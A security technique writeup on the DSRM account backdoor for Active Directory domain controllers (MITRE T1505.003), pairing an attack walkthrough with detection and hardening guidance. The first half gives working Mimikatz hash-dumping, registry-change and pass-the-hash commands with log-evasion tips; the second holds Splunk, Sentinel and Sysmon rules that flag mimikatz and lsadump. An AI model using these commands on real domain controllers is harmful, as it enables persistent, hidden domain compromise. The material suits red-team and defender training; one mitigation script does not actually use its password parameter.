| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-002 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component Modification |
| Tactic | Persistence |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Server 2016, 2019, 2022, 2025 |
| Patched In | N/A (Configuration-based attack, not a vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Directory Services Restore Mode (DSRM) account is a local administrator account created during Active Directory promotion on every domain controller. This account is designed as a “break glass” recovery mechanism for restoring the AD database or recovering the DC from failure. An attacker with Domain Admin privileges can extract the DSRM account’s password hash using credential dumping tools, then modify a critical registry key (DsrmAdminLogonBehavior) to enable remote logon using DSRM credentials at all times. This bypasses the default restriction that limits DSRM authentication only to DC reboot scenarios, creating a persistent backdoor that survives password resets and domain credential changes.
Attack Surface: Domain Controller local administrator account, Windows registry (HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior), LSA secrets, SAM database.
Business Impact: Complete Domain Controller Compromise. An attacker gains permanent administrative access to the DC that persists indefinitely, even after domain credential resets. This enables data exfiltration, lateral movement, AD manipulation, backup sabotage, and long-term espionage without requiring stolen domain credentials.
Technical Context: Exploitation requires 5-10 minutes with Domain Admin access. Detection likelihood is Low to Medium if audit logging is not explicitly enabled for Event ID 4794 (DSRM password resets) and registry modifications. The attack leaves forensic evidence in Windows Event Logs and registry, but attackers often clear logs post-exploitation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 4.1.1 | Ensure DSRM Passwords Are Complex and Regularly Changed |
| DISA STIG | WN10-00-000170 | Administrator account on domain controllers must have unique passwords |
| CISA SCuBA | IA-2(1) | Authentication Mechanisms (Privileged Account Management) |
| NIST 800-53 | AC-3, AC-6(1) | Access Enforcement; Least Privilege for Privileged Accounts |
| GDPR | Art. 32 | Security of Processing; encryption and access control measures |
| DORA | Art. 9 | Protection and Prevention Measures for Critical Infrastructure |
| NIS2 | Art. 21 | Cyber Risk Management; Privileged Access Protection |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Section 7 | Risk Assessment - Unauthorized Access to Tier 0 Assets |
Supported Versions: Server 2016-2025
Prerequisites: Domain Admin access to the DC; ability to execute PowerShell with elevated privileges.
Objective: Extract the local Administrator account’s NTLM hash from the SAM database. This hash represents the DSRM account password.
Command:
# On the domain controller, run Mimikatz with privilege escalation
.\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
Expected Output:
RID : 500 (Administrator)
User : Administrator
NTLM : fc063a56bf43cb54e57a2522d4d48678
What This Means:
fc063a56bf43cb54e57a2522d4d48678 is the local Administrator (DSRM) password hash in NT format.OpSec & Evasion:
PowerShell -EncodedCommand) to avoid disk signatures.Clear-HistoryTroubleshooting:
token::elevate within Mimikatz.References & Proofs:
Objective: Set the registry key that controls DSRM logon behavior to value 2, allowing DSRM credentials to be used for network authentication at any time (not just during DC reboot).
Command:
# Check current value
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
# Set to 2 (Allow DSRM login at all times)
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Force
# Verify
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior"
Command (Server 2016-2019):
# Alternative: Using reg.exe (lower privilege requirements)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
Command (Server 2022+):
# Same as above (no version-specific differences for registry modification)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2
Expected Output:
Hive: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
Name Value
---- -----
DsrmAdminLogonBehavior 2
What This Means:
OpSec & Evasion:
reg add instead of PowerShell cmdlets to avoid logging in PowerShell transcripts.Troubleshooting:
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehaviorReferences & Proofs:
Objective: Use the extracted DSRM hash to authenticate as the local Administrator account over the network, gaining persistent DC access.
Command:
# Use Mimikatz to authenticate with the DSRM hash
.\mimikatz.exe "sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:fc063a56bf43cb54e57a2522d4d48678 /run:powershell.exe"
# This spawns a new PowerShell process authenticated as DSRM\Administrator
# Verify by running:
whoami /all
Alternative - Using Rubeus (if Mimikatz is blocked):
# Note: Rubeus is less direct for DSRM; Mimikatz is preferred
.\rubeus.exe asktgt /user:Administrator /rc4:fc063a56bf43cb54e57a2522d4d48678 /domain:DC01 /ptt
Expected Output:
PowerShell Prompt Changes to:
DC01\Administrator
C:\Windows\system32>whoami /all
USER INFORMATION
nt authority\system
...
SID S-1-5-21-...-500 [Local Administrator]
What This Means:
OpSec & Evasion:
Troubleshooting:
token::elevate before sekurlsa::pth\\DC_NAME\admin$ UNC paths if remote.References & Proofs:
Supported Versions: Server 2016-2025
Prerequisites: Domain Admin privileges; local or remote access to DC; need to reset DSRM password intentionally (defensive scenario or attacker setting a known password).
Objective: Proactively change the DSRM password to a known value, allowing future logons without credential dumping.
Command:
# Interactive mode
ntdsutil
set dsrm password
reset password on server null
(Enter new password)
q
q
Command (Scripted/Non-Interactive):
# PowerShell scriptable version (Server 2019+)
& ntdsutil "set dsrm password" "reset password on server null" q q
# (Will prompt for password interactively)
Expected Output:
C:\>ntdsutil
ntdsutil: set dsrm password
DSRM Password: reset password on server null
(password prompt appears)
Enter new password for Administrator on DC01:
Confirm Password:
Password has been set successfully.
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Server 2016-2025
Prerequisites: Domain Admin credentials; ability to execute commands on the DC remotely (PSRemoting, RDP, or WinRM).
Objective: Extract DSRM hash from a remote DC without being physically present.
Command:
# Execute Mimikatz remotely via PSRemoting
$dc = "DC01"
Invoke-Command -ComputerName $dc -ScriptBlock {
C:\Tools\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
} -Credential (Get-Credential)
Expected Output:
(Output from remote DC showing DSRM hash)
What This Means:
OpSec & Evasion:
Rule Configuration:
SPL Query:
index=windows sourcetype="XmlWinEventLog:Security" EventID=4794
| fields _time, SubjectUserName, ComputerName, ObjectName
| stats count by SubjectUserName, ComputerName
| where count > 0
What This Detects:
Manual Configuration Steps:
Source: Splunk: Windows AD DSRM Password Reset Detection
Rule Configuration:
SPL Query:
index=sysmon EventID=13 TargetObject="*DsrmAdminLogonBehavior"
| fields _time, ComputerName, User, Details, NewValue
| search NewValue=2 OR NewValue=1
What This Detects:
Manual Configuration Steps (Splunk):
Source: Datadog: DSRM Registry Monitoring
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4794
| project TimeGenerated, ComputerName, Account, Activity
| extend AlertReason = "DSRM password reset detected"
What This Detects:
Manual Configuration Steps (Azure Portal):
DSRM Password Reset DetectionHighPersistence, Privilege Escalation5 minutes24 hoursManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "DSRM Password Reset Detection" `
-Query @"
SecurityEvent
| where EventID == 4794
| project TimeGenerated, ComputerName, Account, Activity
"@ `
-Severity "High" `
-Enabled $true
Event ID: 4794 (Directory Services Restore Mode Administrator Password Reset)
Manual Configuration Steps (Group Policy):
gpupdate /force on all DCsManual Configuration Steps (Local Policy):
gpupdate /forceAudit event 4794 captures:
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Registry modification to DsrmAdminLogonBehavior -->
<RuleGroup name="DSRM Persistence" groupRelation="or">
<RegistryEvent onmatch="include">
<TargetObject condition="contains all">DsrmAdminLogonBehavior</TargetObject>
<NewValue condition="is">1</NewValue>
</RegistryEvent>
<RegistryEvent onmatch="include">
<TargetObject condition="contains all">DsrmAdminLogonBehavior</TargetObject>
<NewValue condition="is">2</NewValue>
</RegistryEvent>
</RuleGroup>
<!-- Mimikatz execution (lsadump module) -->
<RuleGroup name="Credential Dumping" groupRelation="or">
<ProcessCreation onmatch="include">
<CommandLine condition="contains">lsadump</CommandLine>
</ProcessCreation>
<ProcessCreation onmatch="include">
<CommandLine condition="contains">mimikatz</CommandLine>
</ProcessCreation>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 -FilterXPath "*[System[EventID=13]]"
Alert Name: “Suspicious registry modification - DsrmAdminLogonBehavior changed”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud Documentation
Note: DSRM is on-premises only; Purview does not directly log DSRM activity. However, if Azure AD Connect is used for synchronization, monitor for unusual on-premises AD changes synchronized to Entra ID.
Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "Reset User Password" -StartDate (Get-Date).AddDays(-1) | Where-Object { $_.ObjectId -like "*Administrator*" }
Change DSRM Password Regularly: Every DC’s DSRM account should have a unique, complex password changed at least every 90 days (aligned with domain password policy requirements). Applies To Versions: Server 2016-2025
Manual Steps (All Versions):
ntdsutilset dsrm passwordreset password on server nullq twice to exitPowerShell Alternative:
# Automated DSRM password change (requires manual password input)
$dc = "DC01"
$newPassword = "P@ssw0rd!Complex123#DSRMv2"
# Connect to DC and change password
Invoke-Command -ComputerName $dc -ScriptBlock {
param($pass)
& ntdsutil "set dsrm password" "reset password on server null" "q" "q" 2>&1
} -ArgumentList $newPassword
Verify DsrmAdminLogonBehavior is Set to 0: Ensure the registry key is set to its default value (0), preventing DSRM logons except during DC recovery mode. Applies To Versions: Server 2016-2025
Manual Steps (PowerShell):
# Check current value
$value = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
if ($value.DsrmAdminLogonBehavior -ne 0) {
Write-Host "WARNING: DsrmAdminLogonBehavior is not set to 0!"
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Force
Write-Host "Registry key removed. Restart DC to apply default (0)."
} else {
Write-Host "SECURE: DsrmAdminLogonBehavior is correctly set to 0."
}
Manual Steps (Group Policy):
gpupdate /force on all DCsEnable Advanced Audit Policy for Account Management: Ensure Event ID 4794 is being logged and forwarded to a central SIEM. Applies To Versions: Server 2016-2025
Manual Steps (Group Policy):
gpupdate /force on all DCsauditpol /get /category:"Account Management"Block Legacy DSRM AuthenticationAdministrator (DSRM account) OR manually specify domain adminsNote: This is a preventive measure; DSRM logons are local-only and not directly affected by Entra ID Conditional Access.
# Check DSRM password last change
Get-EventLog -LogName Security -InstanceId 4794 -Newest 10
# Check registry value
$regValue = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
if ($regValue.DsrmAdminLogonBehavior -eq 0 -or $null -eq $regValue.DsrmAdminLogonBehavior) {
Write-Host "SECURE: DsrmAdminLogonBehavior is correctly set to default (0)"
} else {
Write-Host "WARNING: DsrmAdminLogonBehavior is set to $($regValue.DsrmAdminLogonBehavior) - POTENTIAL ATTACK"
}
# Check for Mimikatz or credential dumping tools on DC
Get-ChildItem -Path "C:\Tools", "C:\ProgramData", "C:\Temp", "C:\Windows\Temp" -Include "*mimikatz*", "*dumpert*", "*procdump*" -ErrorAction SilentlyContinue
Expected Output (If Secure):
DsrmAdminLogonBehavior is correctly set to default (0)
No suspicious tools found in system directories
What to Look For:
DsrmAdminLogonBehavior should be 0 or absent (default = 0)| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial user credentials via phishing |
| 2 | Privilege Escalation | [PE-VALID-002] Computer Account Quota Abuse | Escalate from domain user to domain admin |
| 3 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Extraction | Dump credentials from memory |
| 4 | Current Step | [PERSIST-SERVER-002] | DSRM Account Backdoor - Establish DC persistence |
| 5 | Persistence | [PERSIST-SERVER-003] Azure Function Backdoor | Pivot to cloud infrastructure for long-term persistence |
| 6 | Impact | [LM-AUTH-001] Pass-the-Hash Movement | Laterally move using DSRM credentials; exfiltrate AD data |